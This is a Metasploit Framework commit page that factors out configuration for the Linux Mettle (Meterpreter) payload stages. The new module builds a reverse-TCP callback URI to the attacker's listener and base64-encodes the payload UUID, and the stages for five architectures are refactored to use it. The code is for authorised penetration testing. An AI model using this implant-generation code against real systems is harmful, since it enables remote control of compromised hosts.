Skip to content

Commit c5641c9

Browse files
committed
Factor out mettle configuration
Also cleans up some stuff: s/url/uri/ and base-64 encodes UUIDs
1 parent 1ec7474 commit c5641c9

File tree

6 files changed

+37
-15
lines changed

6 files changed

+37
-15
lines changed
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/payload/transport_config'
4+
require 'base64'
5+
6+
module Msf
7+
module Sessions
8+
module MettleConfig
9+
10+
include Msf::Payload::TransportConfig
11+
12+
def generate_config(opts={})
13+
transport = transport_config_reverse_tcp(opts)
14+
opts[:uuid] ||= generate_payload_uuid
15+
opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip
16+
opts[:uri] ||= "#{transport[:scheme]}://#{transport[:lhost]}:#{transport[:lport]}"
17+
opts.slice(:uuid, :uri, :debug, :log_file)
18+
end
19+
20+
end
21+
end
22+
end

modules/payloads/stages/linux/armle/mettle.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,12 @@
66
require 'msf/core'
77
require 'msf/base/sessions/meterpreter_armle_linux'
88
require 'msf/base/sessions/meterpreter_options'
9+
require 'msf/base/sessions/mettle_config'
910
require 'rex/elfparsey'
1011

1112
module MetasploitModule
1213
include Msf::Sessions::MeterpreterOptions
14+
include Msf::Sessions::MettleConfig
1315

1416
def initialize(info = {})
1517
super(
@@ -80,8 +82,6 @@ def handle_intermediate_stage(conn, payload)
8082
end
8183

8284
def generate_stage(opts = {})
83-
opts[:uuid] ||= generate_payload_uuid
84-
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', opts.slice(:uuid, :url, :debug, :log_file)).
85-
to_binary :process_image
85+
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config(opts)).to_binary :process_image
8686
end
8787
end

modules/payloads/stages/linux/mipsbe/mettle.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,12 @@
66
require 'msf/core'
77
require 'msf/base/sessions/meterpreter_mipsbe_linux'
88
require 'msf/base/sessions/meterpreter_options'
9+
require 'msf/base/sessions/mettle_config'
910
require 'rex/elfparsey'
1011

1112
module MetasploitModule
1213
include Msf::Sessions::MeterpreterOptions
14+
include Msf::Sessions::MettleConfig
1315

1416
def initialize(info = {})
1517
super(
@@ -91,8 +93,6 @@ def handle_intermediate_stage(conn, payload)
9193
end
9294

9395
def generate_stage(opts = {})
94-
opts[:uuid] ||= generate_payload_uuid
95-
MetasploitPayloads::Mettle.new('mips-linux-muslsf', opts.slice(:uuid, :url, :debug, :log_file)).
96-
to_binary :process_image
96+
MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config(opts)).to_binary :process_image
9797
end
9898
end

modules/payloads/stages/linux/mipsle/mettle.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,12 @@
66
require 'msf/core'
77
require 'msf/base/sessions/meterpreter_mipsle_linux'
88
require 'msf/base/sessions/meterpreter_options'
9+
require 'msf/base/sessions/mettle_config'
910
require 'rex/elfparsey'
1011

1112
module MetasploitModule
1213
include Msf::Sessions::MeterpreterOptions
14+
include Msf::Sessions::MettleConfig
1315

1416
def initialize(info = {})
1517
super(
@@ -91,8 +93,6 @@ def handle_intermediate_stage(conn, payload)
9193
end
9294

9395
def generate_stage(opts = {})
94-
opts[:uuid] ||= generate_payload_uuid
95-
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', opts.slice(:uuid, :url, :debug, :log_file)).
96-
to_binary :process_image
96+
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config(opts)).to_binary :process_image
9797
end
9898
end

modules/payloads/stages/linux/x64/mettle.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,12 @@
66
require 'msf/core'
77
require 'msf/base/sessions/meterpreter_x64_mettle_linux'
88
require 'msf/base/sessions/meterpreter_options'
9+
require 'msf/base/sessions/mettle_config'
910
require 'rex/elfparsey'
1011

1112
module MetasploitModule
1213
include Msf::Sessions::MeterpreterOptions
14+
include Msf::Sessions::MettleConfig
1315

1416
def initialize(info = {})
1517
super(
@@ -88,8 +90,6 @@ def handle_intermediate_stage(conn, payload)
8890
end
8991

9092
def generate_stage(opts = {})
91-
opts[:uuid] ||= generate_payload_uuid
92-
MetasploitPayloads::Mettle.new('x86_64-linux-musl', opts.slice(:uuid, :url, :debug, :log_file)).
93-
to_binary :process_image
93+
MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :process_image
9494
end
9595
end

modules/payloads/stages/linux/x86/mettle.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,12 @@
66
require 'msf/core'
77
require 'msf/base/sessions/meterpreter_x86_mettle_linux'
88
require 'msf/base/sessions/meterpreter_options'
9+
require 'msf/base/sessions/mettle_config'
910
require 'rex/elfparsey'
1011

1112
module MetasploitModule
1213
include Msf::Sessions::MeterpreterOptions
14+
include Msf::Sessions::MettleConfig
1315

1416
def initialize(info = {})
1517
super(
@@ -91,8 +93,6 @@ def handle_intermediate_stage(conn, payload)
9193
end
9294

9395
def generate_stage(opts = {})
94-
opts[:uuid] ||= generate_payload_uuid
95-
MetasploitPayloads::Mettle.new('i486-linux-musl', opts.slice(:uuid, :url, :debug, :log_file)).
96-
to_binary :process_image
96+
MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :process_image
9797
end
9898
end

0 commit comments

Comments
 (0)